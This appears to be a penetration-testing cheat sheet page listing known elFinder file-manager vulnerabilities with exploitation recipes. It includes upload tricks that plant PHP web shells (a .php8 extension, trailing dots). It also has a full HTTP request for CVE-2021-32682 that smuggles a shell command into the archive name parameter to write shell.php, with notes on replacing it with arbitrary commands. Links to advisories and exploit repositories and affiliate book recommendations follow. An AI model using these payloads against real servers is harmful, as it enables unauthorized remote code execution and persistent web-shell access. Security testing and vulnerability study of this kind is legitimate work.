ElFinder

ElFinder Exploits

elFinder is an open-source file manager for web, written in JavaScript using jQuery UI - Ref: https://github.com/Studio-42/elFinder

CVE-2023-52044 - ElFinder 2.1.62 - RCE

Studio-42 eLfinder 2.1.62 is vulnerable to Remote Code Execution (RCE) as there is no restriction for uploading files with the .php8 extension.

1. Select arbitrary png file to upload

2. Capture request with Burp and set content as test<?php phpinfo();?>

3. Set filename like test.php8

4. After forwarding the request, the file is successfully uploaded under the files directory

CVE-2023-52044 - GitHub Advisory DatabaseGitHub

Remote Code Execution (RCE) in studio-42/elfinder | CVE-2023-52044 | SnykLearn more about Composer with Snyk Open Source Vulnerability Database

CVE-2023-35840 - elFinder < 2.1.62 - Path Traversal

GitHub - afine-com/CVE-2023-35840: elFinder < 2.1.62 - Path Traversal vulnerability in PHP LocalVolumeDriver connectorGitHub

elFinder < 2.6.61 - RCE

Remote Code Execution (RCE) in studio-42/elfinder | CVE-2022-27115 | SnykLearn more about Composer with Snyk Open Source Vulnerability Database

1. Upload a PHP file the contains a payload with a preceding a, i.e: a<?php <payload>?>.

2. Add two dots after the file name: shell.php...

3. The shell file is successfully uploaded by bypassing detection and can be accessed via files/shell.php.

CVE-2022-26960 - LFI

elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php.

elFinder: The story of a repwningSynacktiv

CVE-2021-32682 - RCE

elFinder - A Case Study of Web File Manager VulnerabilitiesSonarSource

vulhub/elfinder/CVE-2021-32682 at master · vulhub/vulhubGitHub

Create a plain text file named 1.txt

Archive this file in the right-click menu to ZIP format, and modify this archived file name to 2.zip:

1.txt and 2.zip are ready here

Then, send the following request to execute arbitrary commands:

GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://localhost.lan:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

In this request, you can see 3 important parameters:

• name, its value is equal to -TvTT=id>shell.php # a.zip, you can modify the id>shell.php to arbitrary commands

• targets[0], its value is equal to l1_MS50eHQ. l1 means the first storage volume, MS50eHQ is the base64 encoded string of 1.txt

• targets[1], its value is equal to l1_Mi56aXA. l1 means the first storage volume, Mi56aXA is the base64 encoded string of 2.zip

Although this request responeds to an error message, our command has been executed and shell.php has been written to http://your-ip:8080/files/shell.php

CVE-2021-43421 RCE in elFinder <2.1.60

CVE-2021-43421 RCE in elFinder <2.1.60 · Issue #4090 · projectdiscovery/nuclei-templatesGitHub

RCE elFinder 2.1.59 · Issue #3429 · Studio-42/elFinderGitHub

elFinder 2.1.57 RCE

Remote Code Execution in elFinder 2.1.57 · Issue #3295 · Studio-42/elFinderGitHub

elFinder Web file manager Version: 2.1.53 Remote Command Execution

elFinder Web file manager Version - 2.1.53 Remote Command ExecutionExploit Database

CVE-2019-9194 - elFinder <= 2.1.47 - Command Injection

Vulnerability in the PHP connector

elFinder 2.1.47 - 'PHP connector' Command InjectionExploit Database

GitHub - hadrian3689/elFinder_2.1.47_php_connector_rceGitHub

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

• The Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more

• Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them

• Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.